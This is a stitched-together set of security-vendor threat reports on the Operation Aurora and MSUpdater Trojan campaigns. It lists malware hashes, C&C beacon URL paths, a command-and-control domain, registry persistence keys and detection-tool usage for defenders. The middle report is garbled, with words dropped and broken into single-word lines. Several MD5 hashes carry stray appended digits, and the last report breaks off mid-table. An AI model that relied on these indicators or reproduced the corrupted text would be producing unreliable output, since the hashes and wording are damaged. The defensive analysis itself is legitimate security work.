signatures similar to the one illustrated in the Detect section
should be used to detect inbound exploit attempts, and
machines accepting this data should be scanned for potential
infections. Many A/V products now contain signatures for the
Aurora exploit and will be effective in detection and removal.
However, the attackers that represent the threat will not be
deterred, and variants of the attack are nearly assured.
FACTORS
DESCRIPTION
C&C protocol
If a variant is developed, it will very
likely use the same C&C protocol, but
may change the header of the packet
and the constants used for connection
setup. This will evade IDS / Firewall
rules designed to detect the current
scheme. It is unlikely the attackers will
change the encryption setup, however.
Installation and Deployment
The method used to install the service
is highly effective. Although the
filenames will likely change, the actual
method will likely remain.
INOCULATION
DIGITAL DNA INOCULATION SHOT
HBGary has prepared an inoculation shot for this malware.
The inoculation shot is a small, signed binary that will allow
you to scan for, and optionally remove, this malware from
your Enterprise network. The aurora innoculation shot can be
downloaded from www.hbgary.com.
When the aurora innoculation shot is executed it will query
the user for authentication credentials. Optionally the user
can just hit 
cancel
 to use the currently logged on USER
authentication token. Some sample usages are listed below.
To scan a single machine:
AuroraInnoculation.exe -scan 192.168.0.1
AuroraInnoculation.exe -scan MYBOXNAME
To scan multiple machines:
AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254
To automatically attempt a clean operation:
AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean
To scan a list of machines in a .txt file:
AuroraInnoculation.exe -list targets.txt
MCAFEE EPO CUSTOMERS
DETECTION OF AURORA THREATS WITH DIGITAL DNA FOR EPO
Customers of McAfee ePolicy Orchastrator, integrated
with Digital DNA, can detect emerging advanced persistent
threats. To detect Aurora, users should perform a Digital
DNA Sequence search with the above mentioned sequence
for Aurora, and set a fuzzy match of 90% or greater. Once
machines are detected, the user is encouraged to use the
freely available inoculation shot to remove the infection.
MORE INFORMATION
ABOUT HBGARY, INC
HBGary, Inc is the leading provider of solutions to detect,
diagnose and respond to advance malware threats in a
thorough and forensically sound manner. We provide the
active intelligence that is critical to understanding the intent
of the threat, the traits associated with the malware and
information that will help make your existing investment in
your security infrastructure more valuable.
Web:
www.hbgary.com
Corporate Address:
3604 Fair Oaks Blvd Suite 250
Sacramento, CA 95762
Phone: 916-459-4727
Fax 916-481-1460
Sales@hbgary.com
REFERENCES
http://siblog.mcafee.com/cto/operation-%E2%80%9Caurora%E2%80%9Dhit-google-others/
ii http://www.thetechherald.com/article.php/201004/
5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack
iii http://www.fjbmcu.com/chengxu/crcsuan.htm
(via: http://www.secureworks.com/research/blog/index.php/2010/01/20/
operation-aurora-clues-in-the-code/)
iv http://www.avertlabs.com/research/blog/index.php/2010/01/18/aninsight-into-the-auroracommunication-protocol/
http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysisaurora-0-day-exploit
CORPORATE OFFICE
3604 Fair Oaks Blvd. Ste. 250
Sacramento, CA 95864
916.459.4727 Phone
CONTACT INFORMATION
info@hbgary.com
support @hbgary.com
www.hbgary.com
MSUpdater
Trojan
Ongoing
Targeted
Attacks
Zscaler
Seculert
Joint
Report
Contents
CONTENTS
...................................................................................................................
OVERVIEW
...................................................................................................................
MSUPDATER
TROJAN
INCIDENTS
OBSERVED
.............................................................
OSINT
AGGREGATION
CORRELATION
...................................................................
INFECTION
VECTOR:
PHISHING
EMAIL
WITH
MALICIOUS
ATTACHMENT
........................
RELATED
BACKDOOR
BEACONING
PATTERN
..................................................................
SEPTEMBER
2010
CVE-
2010-
2883
PHISH
................................................................
SEPTEMBER
2010
ISSNIP
PHISHING
EMAIL
WITH
MALICIOUS
ATTACHMENT
RELATED
ANTIVIRUS
VENDOR
FAMILY
NAMES
..........................................................
CONFERENCE
LURE
.................................................................................................
CLOSING
REMARKS
....................................................................................................
APPENDIX
CONSOLIDATED
LIST
MALICIOUS
HASHES
................................
Overview
Researchers
from
Zscaler
Seculert
separately
identified
incidents
threats
discussed
this
report.
Within
private
security
forum
discussed
determined
that
identified
related
incidents.
Zscaler
Seculert
collaborated
this
report
aggregate
correlate
findings
along
with
open-
source
intelligence
(OSINT)
detail
lesser-
known
MSUpdater
remote
access
Trojan
(RAT)
linkage
current
targeted
attacks
others
dating
back
least
early
2009.
Foreign
domestic
(United
States)
companies
with
intellectual
property
dealing
aero/geospace
defense
seem
some
recent
industries
targeted
these
attacks.
goal
this
report
aggregate
information,
draw
some
correlations,
provide
overview
this
threat
facilitate
identification,
detection,
functionality.
With
this
goal
mind,
also
reveal
anything
that
might
disrupt
investigations
state
something
without
additional
open-
source
corroboration.
security
researchers
believe
that
success
measured
much
information
collect,
share
information
better
secure
protect
Internet
community
from
threats.
hope
that
information
within
this
report
helps
detect
remediate
this
threat
within
organizations.
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
MSUpdater
Trojan
Incidents
Observed
Zscaler
Seculert
separately
identified
security
incidents
where
infected
customers
fore-
mentioned
industries
command
control
(C&C)
beacons
matching
below
patterns.
Standard
Microsoft
Internet
Explorer
user-
agent
strings
(versions
were
observed
communications.
most
often
observed
pattern,
likely
check-
behavior
followed
pattern:
HTTP
requests
path:
/microsoftupdate/getupdate/default.aspx?ID=[num1]para1=[num2]para2=[num3]para3=[num4
Where
[num]
fields
placeholders
parameters
passed
victim
form
numbers.
Other
patterns
observed
from
infected
hosts
C&Cs
were:
HTTP
POST
requests
path:
/microsoft/errorpost/default/connect.aspx?ID=[num1]
HTTP
POSTs
path:
/microsoft/errorpost/default.aspx?ID=[num1]
Clearly
above
patterns
trying
appear
though
they
related
Microsoft
Windows
Update
service
versus
something
malicious.
clear,
common
name
this
particular
threat
seem
emerge
open-
source,
have
commonly
referred
this
threat
family
MSUpdater
Trojan.
first
time
this
pattern
logged
traffic
traversing
Zscaler
Cloud
infrastructure
12/25/2010
(Christmas
day).
likely
that
Christmas
infection
resulted
from
targeted
phishing
email
related
attacks
this
report
identify
this
infection
vector.
suspicious
transactions
were
observed
from
infected
host
prior
beaconing.
Seculert
FogSense
Cloud-
based
service
observed
instances
this
same
infected
beaconing
pattern
their
customers
early
March
2010.
Zscaler
Seculert
each
identified
these
infections
separately
conducting
traffic
analysis
identify
previously
unknown
threats
then
protect
their
customers.
Open-
source
intelligence
(OSINT)
beaconing
patterns
observed
provided
additional
information
this
previous
threat.
OSINT
Aggregation
Correlation
addition
industry
collaboration
better
understand
protect
against
threats,
Google
more
specifically
OSINT
valuable
resource
when
looking
into
unidentified
threats.
following
provides
some
details
about
what
known
been
discussed
open-
source
related
this
threat.
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Infection
Vector:
Phishing
Email
with
Malicious
Attachment
publicly
available
presentation
from
Sword
Shield
Enterprise
Security
Inc.1
includes
slide
discussing
correlation
malicious
phishing
attachment
beaconing
that
resembles
same
pattern
identified
above.
Specifically,
presentation
provides
screenshot
associated
malicious
phishing
email
showing
that
sent
April
2011
with
subject
Information
Contractor
chap6.pdf
attachment:
Figure
Screenshot
4/28/2011
Phish
presentation
then
goes
show
that
opening
attachment
exploited
vulnerability
caused
process
named
GoogleTray.exe
launch
connect
mail.hfmforum.com/microsoftupdate/getupdate/default.aspx
Related
Backdoor
Beaconing
Pattern
linking
domain
registration
information
from
some
C&Cs
observed,
were
able
determine
other
domains
used
this
malicious
actor/group.
specific
example
this
following
registration
information
observed
MSUpdater
Trojan
domain:
http://ilta.ebiz.uapps.net/ProductFiles/productfiles/782804/2011siems.pptx
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Figure
WHOIS
information
domains
This
contact
information
used
other
domains
that
have
some
open-
source
reports
usage,
example:
SISEAU.COM
VSSIGMA.COM
These
domains
have
open-
source
reports
tied
malware
samples
with
hashes:
3459BC37967480DEE405A5AC678B942D2
6631815D4AB2A586021C24E02E5CC4513
Communication
these
domains
also
observed
with
following
communication
path
pattern:
 /search[RndNum1]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2]
example:
/search521649?h1=51&h2=1&h3=N07630&h4=FKFDFDAHAEBAEPFLFK
number
parameters
these
search
beacons
closely
resembles
that
previously
mentioned
para
beacons.
However,
previously
mentioned
para
beacons
appear
different
encoding.
These
related
samples
also
have
VirusTotal
reports4,5
which
provide
additional
details
about
binaries
they
being
detected.
Specifically:
http://www.malware-
control.com/statics-
pages/3459bc37967480dee405a5ac678b942d.php
http://www.threatexpert.com/report.aspx?md5=6631815d4ab2a586021c24e02e5cc451
https://www.virustotal.com/file/6a237ffe0f7d84ffd9652662a2638a9b5212636b414ce15ea2e39204d2a24e7f/analysis/1267308842/
https://www.virustotal.com/file/75d3c3875744196cedff55d179bc62412adeba5e769fbfc85b2b891ff32b4f9f/analysis/1265252262/
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
MD5:
3459BC37967480DEE405A5AC678B942D
VirusTotal
timeframe:
02/06/2010
02/27/2010
file
name
wuauclt.exe
with
Microsoft
Corporation
publisher
(this
publisher
string
observed
other
related
samples
well)
MD5:
6631815D4AB2A586021C24E02E5CC451
VirusTotal
timeframe:
08/18/2009
02/04/2010
ThreatExport
report
shows
backdoor
1033/TCP
Packed
with
Armadillo
(identified
other
related
samples
well)
Antivirus
detection
both
samples
indicate
that
Backdoor
Agent
however,
DrWeb
specifically
calls
these
samples
something
unique:
BackDoor.Calla.5
where
Calla
family
(added
their
detection
02/02/2009)6
variant.
Searching
other
malware
incidents
that
exhibit
this
similar
search
beaconing
pattern
shows
number
related
open-
source
examples,
discussed
following
sections.
September
2010
CVE-
2010-
28837
Phish
September
2010
blog
Contagio
detailed
malicious
phishing
campaign
exploiting
buffer
overflow
vulnerability
Adobe
reader8.
time,
this
exploit,
patch
released
Adobe
until
October
2010.
exploit
contained
attachment:
INTEREST_&_FOREIGN_EXCHANGE_RATES.pdf
o MD5:
4EF704239FA63D1C1DFCF2EA2DA0D7119
This
dropped
similar
files:
setup.exe:
o MD5:
95D42D365489A6E5EBDF62565C5C8AA2
o Sophos
uniquely
detects10
Mal/Ovoxual-
(detection
added
07/19/2010)11
o Which
creates
FAVORITES.DAT
(data
file)
launches
msupdater.exe12
msupdater.exe:
o MD5:
374075CE8B6E8F0CD1F90009FD5A703B
http://vms.drweb.com/virus/?i=225137
http://www.adobe.com/support/security/advisories/apsa10-
02.html
http://contagiodump.blogspot.com/2010/09/sep-
cve-
2010-
2883-
pdf-
interest.html
https://www.virustotal.com/file/daac83fc4af5c53068c4e5a29dadfdc5200e3b3fc2b491eebe0a4bc19ec9e3f2/analysis/1285731514/
https://www.virustotal.com/file/ecefcd2f2b862e987ea4b6b7d475c924d9662ad955096872a2c5b822901c63b3/analysis/
http://www.sophos.com/en-
us/threat-
center/threat-
analyses/viruses-
and-
spyware/Mal~Ovoxual-
A/detailed-
analysis.aspx
http://anubis.iseclab.org/?action=result&task_id=14495366b24a64d242d1946aa1e3a88be&format=html
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Sophos
uniquely
detects13
Mal/
Ovoxual-
(added
07/19/2010)14
Sandbox
reports
this
sample
generally
fail15
showing
following
dialog
box:
Figure
ThreatExpert
Malware
Failure
Dialog
System
runtime
analysis
showed
initial
malformed
Google
query:
www.google.com/search?qu=
Figure
Malformed
Google
PCAP
During
Run-
Time
Analysis
Followed
failed
connection
attempts
140.112.19.195
(National
Taiwan
University)
further
detailed
static
analysis
this
msupdate.exe
FAVORITES.DAT
sample
completed
CyberESI16.
their
report
they
discuss
that
setup.exe
dropper
virtual
machine
(VM)
aware
using
SIDT
instruction17
detected,
msupdate.exe
Trojan
dropped.
msupdate.exe
Trojan
aware
using
same
SIDT
method
detected
then
Trojan
decrypts
FAVORITES.DAT
file
spawns
svchost.exe
process
which
conducts
network
check-
ins.
This
evasion
reason
above
shown
failed
sandboxing
analysis
that
does
include
network
activity.
decrypted
FAVORITES.DAT
executable
this
sample
hash
www.virustotal.com/file-
scan/report.html?id=043935374ce39637a4816d0a484d30bed1d3054bbe89625fbc22f83ef4cb3e04-
1285736283
http://www.sophos.com/en-
us/threat-
center/threat-
analyses/viruses-
and-
spyware/Mal~Ovoxual-
B/detailed-
analysis.aspx
http://www.threatexpert.com/report.aspx?md5=374075ce8b6e8f0cd1f90009fd5a703b
http://www.cyberesi.com/2011/03/17/msupdate-
exe-
favorites-
dat-
analysis/
http://www.securiteam.com/securityreviews/6Z00H20BQS.html
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
5E3EACA3806769836C3AD9D46A20964418
o Microsoft
other
vendors
detect
Backdoor
Matchaldru.B
o DrWeb
uses
their
same
Calla
family:
Backdoor.Calla.16
o The
VirusTotal
timeframe
submissions
this
decrypted
executable
from:
03/15/2011
04/20/2011.
Here
Google
decoy
beacon
made
Trojan:
Figure
Initial
Malformed
Google
HTTP
Request
Followed
initial
check-
request:
Figure
Related
Malware
Initial
Check-
Request
check-
request
values
correspond
following
meanings:
parameter
value
corresponds
Windows
version,
Windows
(version
5.1)
parameter
value
victim
identification
string
created
encoding
volume
serial
number
victim
system
concatenated
with
random
number
string
within
user-
agent
(BKANAHEAFPEM)
result
encoding
victim
machine
name
number
following
search5
path
random
remaining
hard-
coded
Trojan.
BHI06233
string
thought
related
actor
group
related
targets
campaign,
where
stand
Baker
Hughes
https://www.virustotal.com/file/d8a976979d4eeaf7485249c49d4a31824638a49dac308c5114c113b4a3eed9c9/analysis/1300216834/
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
International
along
with
other
companies
oil,
gas,
energy
sector
were
focus
some
targeted
attacks.19
data
check-
HTTP
communication
from
encoded
using
single-
byte
XORing
treated
authentication
into
botnet.
Once
authenticated,
victim
uses
following
check-
beacons:
HTTP
GET:
/search6[RndNum]?h1=[VictimId]
o Where
VictimId
same
string
identifying
victim
machine
previously
used
parameter
value.
User-
Agent:
Mozilla/5.0
(compatible;
Windows
5.2)
o Note
that
user-
agent
changed
hard-
coded
string
versus
using
encoded
system
name
initial
check-
Some
Trojan
functionality
includes:
Download
file
from
C&C:
o HTTP
GET:
/download7[RndNum]?h1=[VictimId]
Upload
file
C&C:
o HTTP
POST:
/upload8[RndNum]?h1=[VictimId]
Command
execution
response
C&C:
o HTTP
POST:
/search2[RndNum]?h1=[VictimId]
There
over
dozen
other
commands
identified
Trojan
listed
CyberESI
report.
September
2010
ISSNIP
Phishing
Email
with
Malicious
Attachment
days
later
following
previously
detailed
incident,
another
incident
with
information
publicly
available
reported
which
phishing
email
sent
from
Yahoo
account
defense
contractor
with
content
about
conference
malicious
attachment,
ISSNIP_2010.pdf
(MD5
hash:
3D966CD90D320EA4A319452D1CCB11AA):
Figure
Phish
Email
(9/23/2010)
From
analysis,
malicious
attachment
appeared
have
same
functionality
listed
previous
incident
include
unique
dropped
files
msupdater.exe
FAVORITES.DAT
http://www.bloomberg.com/news/2011-
24/exxon-
shell-
said-
have-
been-
hacked-
through-
chinese-
internet-
servers.html
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Related
Antivirus
Vendor
Family
Names
previously
identified
samples
have
pointed
that
certain
malware
family
names
used
identify
classify
fore-
mentioned
threat.
example,
DrWeb
uses
Backdoor.Calla
Microsoft
other
vendors
Backdoor.Matchaldru
Sophos
uses
Mal/
Ovoxual
Using
these
identifiers,
number
related
samples
found
open-
source.
following
provides
brief
list
additional
samples
believed
related
this
threat
group:
MD5:
92DBDB7E240E7D7C42B479338078273520
msupdate.exe
packed
with
Armadillo
o First/Last
submitted
VirusTotal:
2011-
o Sophos
identifies
Mal/Ovoxual-
o McAfee
identifies
Muster.d
MD5:
3A0FC856F343B730EE58C00BAB09F9E521
Backdoor.Calla.16
Mal/Ovoxual-
packed
with
Armadillo
o First
seen
2010-
Last
seen:
2011-
o Drops22:
 MD5:
7C3C964D7F164F2CC277B4154173254623
msupdater.exe
Mal/Ovoxual-
o First/Last
seen:
2010-
 MD5:
B7424AA1C92107E03DBA8915CEB1FE4D
FAVORITES.DAT
(encrypted)
MD5:
21816D6934F608E0E3F76AA43831D95924
Backdoor.Calla.16
Mal/Ovoxual-
2010-
MD5:
53547213038C093EB427974FA0FB4F6525
Mal/Ovoxual-
2010-
2011-
MD5:
0A229293FD0639C722FD7ABD1D1A9C9326
Matchaldru.B
Mal/Ovoxual-
2011-
2011-
From
above
VirusTotal
results,
appears
that
McAfee
detects
some
these
Muster
threat
group.
Using
other
vendor
names
searching
correlating
samples
same
that
above
reveals
additional
likely
related
samples.
following
provides
brief
abbreviated
list
samples
listed
open-
source
purposes
showing
breadth
threat
operation
timeframe
some
names
that
shed
some
light
types
phishing
messages
used.
https://www.virustotal.com/file/08039422c11ee405af02558704f19c8c53e82749493386a226243ac0f85de20c/analysis/1320449843/
https://www.virustotal.com/file/da3e95eb33c33908ab35b269802ba35fe015e0ad3f0ec7481bcca8b5b96477ca/analysis/
http://www.threatexpert.com/report.aspx?md5=3a0fc856f343b730ee58c00bab09f9e5
https://www.virustotal.com/file/fe0e58b5cad9b1dde19ad87f2470c14879d148c0d271d54e00bb94449a8980fd/analysis/
https://www.virustotal.com/file/d076b318db751cd43e303d26dcaad2d0eab2779185a5facb9aee3754219a322f/analysis/
https://www.virustotal.com/file/5f14bf0b5838f85edcb1bc32a198ec09cf4d73980e73a0783d649e00c91d6771/analysis/
https://www.virustotal.com/file/735fd8ce66e6f0e412f18242d37c12fb38f26f471051eac2f0fe2df89d0e4966/analysis/
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
MD5:
FD5DFFEBD39E9ACA4F79107B6889699D
(09/24/2010)
MD5:
95AFBECB0BDDE89254DBE07A42685B24
(10/11/2010)
MD5:
6FF3C8495873AEC4390250EC1ECAA0B1
(04/08/2009)
MD5:
2EFBF514FBF58E78C259CC87A668BC35
(06/16/2009),
drops:
o MD5:
AEDCE18F64EB988F342663EC2C01D017
(COMSWARE_2009.1.pdf)
o MD5:
BDDD2042F5024D2AFC6AA50920E27897
(IEUpd.exe)
o MD5:
EA12A0DBA22B8B2D2D5662437BED8169
(IEXPLORE.hlp)
o MD5:
7F37F7CD9B0C1CE6574FF5C385FCF26F
(WMupdate.exe)
MD5:
9687E53495898232949DBCD15556B619
(06/16/2009),
drops:
o MD5:
2F71666B76EC0E51A40EF5DF3170604A
(2009_IEEE_Aerospace_Conference_1.pdf)
o MD5:
5622E46F27B8BD7665218E26B024E74D
(IEUpd.exe)
o MD5:
D69BB7935DB5FC15542B98845CF83B89
(IEXPLORE.hlp)
o MD5:
A2B6C71A153E61EAA1FEA0F2A3A0232B
(WMupdate.exe)
MD5:
6AD5D9C546AC603E18FC109025E2F5B7
(03/19/2010),
drops:
o MD5:
9C738176C74B7392DD22009736AFC49F
(Who
will
fired.pdf)
o MD5:
1ABC034E85704A0699D598B16C16A37E
(WMupdate.exe)
MD5:
7B470C530794342632F5025C1B948BB0
(04/08/2009)
MD5:
1006e295156b354d9ec4b6d5b6b0ba65
(04/13/2009)
drops:
o MD5:
2F71666B76EC0E51A40EF5DF3170604A
(2009_IEEE_Aerospace_Conference_1.pdf)
o MD5:
9AA8DD1A765C44B82654581977C7F2FA
(WMupdate.exe)
MD5:
D78CBD630A1937233B3E4217B19FF5CA
(4/13/2009)
drops:
o MD5:
BECDA5D5A1C3199A99018A57E43BA2C7
(Bomber_kills_33_at_Iraq_peace_conference.pdf)
o MD5:
7B470C530794342632F5025C1B948BB0
(WMupdate.exe)
MD5:
08EB27A6D8F0260D6853BC5A3F5CAA73
(09/15/2009)
Conference
Lure
noted
section
September
2010
malicious
phishing
incident,
name
particular
malicious
attachment
ISSNIP_2010.pdf
(see
screenshot
below)
related
International
Conference
Intelligent
Sensors,
Sensor
Networks
Information
Processing
(ISSNIP)27.
conference
related
subjects
seems
popular
lure
this
actor
phishing
messages
noted
above
section
related
malware.
example;
IEEE
Aerospace
Conference
Iraq
Peace
Conference
International
Conference
Communication
System
Software
Middleware
(COMSWARE)
http://www.issnip.org
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Figure
ISSNIP
2010
Screenshot
Closing
Remarks
Zscaler
Seculert
experienced
separate
security
incidents
against
various
customers
dealing
with
threat
appearing
related
specific
targeted
attacks.
This
report
provided
some
insight
into
threat
draws
information
available
open-
source.
particular,
beaconing
patterns
indicators
were
identified
facilitate
detection
threat.
Additionally,
related
malware
samples
(see
Appendix
malware
family
names,
such
Ovoxual
have
been
listed
further
identification
related
samples.
Based
information
available,
threat
arrives
phishing
emails
with
attachment,
possibly
related
conferences
particular
targeted
industry.
exploits
vulnerabilities
within
Adobe
(for
example,
exploit
used
against
CVE-
2010-
2883)
drops
series
files
begin
communicating
with
command
control
(C&C).
binary
dropped
launched
from
exploit
virtual
machine
(VM)
aware
order
prevent
analysis
within
sandbox.
detected,
will
drop
executable
(often
named
msupate.exe
which
also
aware,
encrypted
file
(often
named
FAVORITES.DAT
Again,
detected
this
executable
will
decrypt
contents
memory
process
(often
svchost.exe
process).
Once
infected
system
communicates
with
C&C,
versions
beaconing
pattern
have
been
observed.
most
well
documented
version
beaconing
adhere
general
formats:
/search[RndNum]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2]
/search[RndNum]?h1=[String1]
/upload[RndNum]?h1=[String1]
/download[RndNum]?h1=[String1]
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
lesser-
known
beaconing
pattern
that
both
Zscaler
Seculert
have
observed
related
this
threat
adhere
general
formats:
/microsoftupdate/getupdate/default.aspx?ID=[num1]para1=[num2]para2=[num3]para3=[n
um4]
 /microsoft/errorpost/default/connect.aspx?ID=[num1]
 /microsoft/errorpost/default.aspx?ID=[num1]
Prior
beaconing
with
these
patterns
malware
issue
initial
malformed
Google
query:
path:
/search?qu=
data:
news
these
indicators
help
provide
detection
remediation
this
threat
within
your
enterprise.
This
overall
goal
releasing
this
information.
Note
however,
that
overall
targeted
threat
will
likely
adapt
remain
constant
adversary
that
your
particular
organization
target
attack
likely
that
will
continue
targeted.
this
knowledge
adapt
your
organization
security
policies
resources
appropriately.
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
Appendix
Consolidated
List
Malicious
Hashes
following
list
consolidation
malicious
hashes
listed
this
report.
3459BC37967480DEE405A5AC678B942D
BDDD2042F5024D2AFC6AA50920E27897
6631815D4AB2A586021C24E02E5CC451
EA12A0DBA22B8B2D2D5662437BED8169
3D966CD90D320EA4A319452D1CCB11AA
7F37F7CD9B0C1CE6574FF5C385FCF26F
4EF704239FA63D1C1DFCF2EA2DA0D711
9687E53495898232949DBCD15556B619
95D42D365489A6E5EBDF62565C5C8AA2
2F71666B76EC0E51A40EF5DF3170604A
374075CE8B6E8F0CD1F90009FD5A703B
5622E46F27B8BD7665218E26B024E74D
5E3EACA3806769836C3AD9D46A209644
D69BB7935DB5FC15542B98845CF83B89
92DBDB7E240E7D7C42B4793380782735
A2B6C71A153E61EAA1FEA0F2A3A0232B
3A0FC856F343B730EE58C00BAB09F9E5
6AD5D9C546AC603E18FC109025E2F5B7
7C3C964D7F164F2CC277B41541732546
9C738176C74B7392DD22009736AFC49F
B7424AA1C92107E03DBA8915CEB1FE4D
1ABC034E85704A0699D598B16C16A37E
21816D6934F608E0E3F76AA43831D959
7B470C530794342632F5025C1B948BB0
53547213038C093EB427974FA0FB4F65
1006e295156b354d9ec4b6d5b6b0ba65
0A229293FD0639C722FD7ABD1D1A9C93
2F71666B76EC0E51A40EF5DF3170604A
FD5DFFEBD39E9ACA4F79107B6889699D
9AA8DD1A765C44B82654581977C7F2FA
95AFBECB0BDDE89254DBE07A42685B24
D78CBD630A1937233B3E4217B19FF5CA
6FF3C8495873AEC4390250EC1ECAA0B1
BECDA5D5A1C3199A99018A57E43BA2C7
2EFBF514FBF58E78C259CC87A668BC35
7B470C530794342632F5025C1B948BB0
AEDCE18F64EB988F342663EC2C01D017
08EB27A6D8F0260D6853BC5A3F5CAA73
2012
Zscaler
Inc.
Seculert
Ltd.
Rights
Reserved.
McAfee Labs:
Combating Aurora
By Rohit Varma, McAfee Labs
Contents
Overview ............................................................................................................................. 2
McAfee detection names for Aurora................................................................................... 3
Exploit-Comele ........................................................................................................... 3
Roarur.dr ..................................................................................................................... 3
Roarur.dll .................................................................................................................... 3
Symptoms ........................................................................................................................... 5
Characteristics ..................................................................................................................... 5
Common filenames and hashes ........................................................................................... 6
McAfee product coverage for Aurora ................................................................................. 7
Common URLs accessed. ................................................................................................. 10
Appendix A: Useful URLs related to Aurora ................................................................... 11
Combating Aurora
Overview
Operation Aurora,
 released the week of January 11, exploits the recent Microsoft
Internet Explorer vulnerability. The attack was initially targeted at several large
companies, including Google. It is now public and is available on the web. The public
release significantly increases the possibility of widespread attacks exploiting the
vulnerability, putting Internet Explorer users at potentially serious risk.
Microsoft is aware of the targeted attacks and lists the following combinations as
vulnerable: Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack
4, and Internet Explorer 6, Internet Explorer 7 and Internet Explorer 8 on supported
editions of Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008,
Windows 7, and Windows Server 2008 R2.
http://www.microsoft.com/technet/security/advisory/979352.mspx
Below we have a summary of McAfee
s assessment of Internet Explorer and platform
risks:
* DEP
Data Execution Prevention (DEP) is a set of hardware and software technologies that
perform additional checks on memory to help prevent malicious code from running
on a system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft
Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software.
The primary benefit of DEP is to help prevent code execution from data pages.
Typically, code is not executed from the default heap and the stack. Hardwareenforced DEP detects code that is running from these locations and raises an
exception when execution occurs. Software-enforced DEP can help prevent malicious
code from taking advantage of exception-handling mechanisms in Windows.
McAfee detection names for Aurora
Exploit-Comele
This maliciously crafted script attempts to exploit the vulnerability when Internet
Explorer handles certain DOM operations.
An attacker may exploit this issue to execute remote code.
http://vil.nai.com/vil/content/v_253210.htm
Roarur.dr
This Trojan drops further malicious files onto the victim
s computer.
http://vil.nai.com/vil/content/v_253415.htm
Roarur.dll
This Trojan is dropped by the roarur.dr Trojan.
The dll creates an additional service on the victim
s computer and checks for certain files
on the system. The files it looks for are
 acelpvc.dll (presence of this file does not necessarily imply an infection ) . acelpvc.dll
is used to stream live desktop feeds to the attacker
 VedioDriver.dll (presence of this file does not necessarily imply an infection )- Helper
dll for acelpvc.dll
http://vil.nai.com/vil/content/v_253416.htm
Aliases
Trojan.Hydraq
Symptoms
Outbound network connections to 
hxxp://demo[remove].jpg
The presence of the following files:
%SystemDir%\Rasmon.dll
%SYSDIR%\DFS.bat
The presence of the following registry keys:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[%
random 4 chars %]
"ImagePath" = %SystemRoot%\svchost.exe -k netsvcs
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[%
random 4 chars %]
"Start"= 02, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[%
random 4 chars %]\Parameters "ServiceDll" = %SystemRoot%\rasmon.dll
Characteristics
Aurora demonstrates these four infection characteristics:
Common filenames and hashes
securmon.dll:
E3798C71D25816611A4CAB031AE3C27A
Rasmon.dll:
0F9C5408335833E72FE73E6166B5A01B
a.exe:
CD36A3071A315C3BE6AC3366D80BB59C
b.exe
9F880AC607CBD7CDFFFA609C5883C708
AppMgmt.dll
6A89FBE7B0D526E3D97B0DA8418BF851
A0029670.dll
3A33013A47C5DD8D1B92A4CFDCDA3765
msconfig32.sys
7A62295F70642FEDF0D5A5637FEB7986
VedioDriver.dll
467EEF090DEB3517F05A48310FCFD4EE
acelpvc.dll
4A47404FC21FFF4A1BC492F9CD23139C
wuauclt.exe
69BAF3C6D3A8D41B789526BA72C79C2D
jucheck.exe
79ABBA920201031147566F5418E45F34
AdobeUpdateManager.exe
9A7FCEE7FF6035B141390204613209DA
zf32.dll
EB4ECA9943DA94E09D22134EA20DC602
* This data is subject to change.
* For the latest data, please visit McAfee Aurora site
http://www.mcafee.com/us/threat_center/operation_aurora.html
McAfee product coverage for Aurora
The McAfee Labs Aurora Stinger tool
The Aurora Stinger tool detects and removes threats associated with 
Operation Aurora
attacks.
http://download.nai.com/products/mcafee-avert/aurora_stinger.exe
Extended McAfee product coverage details:
McAfee Web Gateway. TrustedSource has coverage for domains and IP addresses that the
malware contacts. Coverage for associated malware was released January 15 (as
BehavesLike.JS.Obfuscated.E
). Proactive coverage existed for some components (as
Trojan.Crypt.XDR.Gen
McAfee Application Control. All versions of McAfee Application Control protect against
infection, without requiring updates, and will prevent all versions of the Aurora attack
witnessed to date.
McAfee Firewall Enterprise. TrustedSource has coverage for domains and IP addresses
that the malware contacts. The embedded McAfee anti-virus scanning engine in Firewall
Enterprise Version 7.0.1.02 and later provides coverage for supported protocols via
standard McAfee DAT updates. Coverage for known exploits and associated malware is
provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released
January 15.
McAfee SiteAdvisor, SiteAdvisor Plus, SiteAdvisor Enterprise. TrustedSource has
coverage for domains and IP addresses that the malware contacts.
McAfee Email and Web Security Appliances. TrustedSource has coverage for domains
and IP addresses that the malware contacts.
Aurora coverage in McAfee point products:
Exploit-Comele Trojan
DAT files
Coverage is provided as Exploit-Comele in the 5860 DATs, released
January 13, for known exploits.
VSE BOP
Out of scope
Host IPS
Out of scope
McAfee Network Security
Platform
The UDS release of January 14 contains the signature "UDS-HTTP:
Microsoft Internet Explorer HTML DOM Memory Corruption," which
provides coverage.
McAfee Vulnerability
Manager
Coverage not warranted at this time
MNAC 2.x
Coverage not warranted at this time
McAfee Remediation
Manager
Malware coverage is out of scope.
McAfee Policy Auditor SCAP
Out of scope
MNAC SCAP
Out of scope
Roarur.dr Trojan
DAT files
Coverage is provided as Roarur.dr in the 5862 DATS, released January 15.
VSE BOP
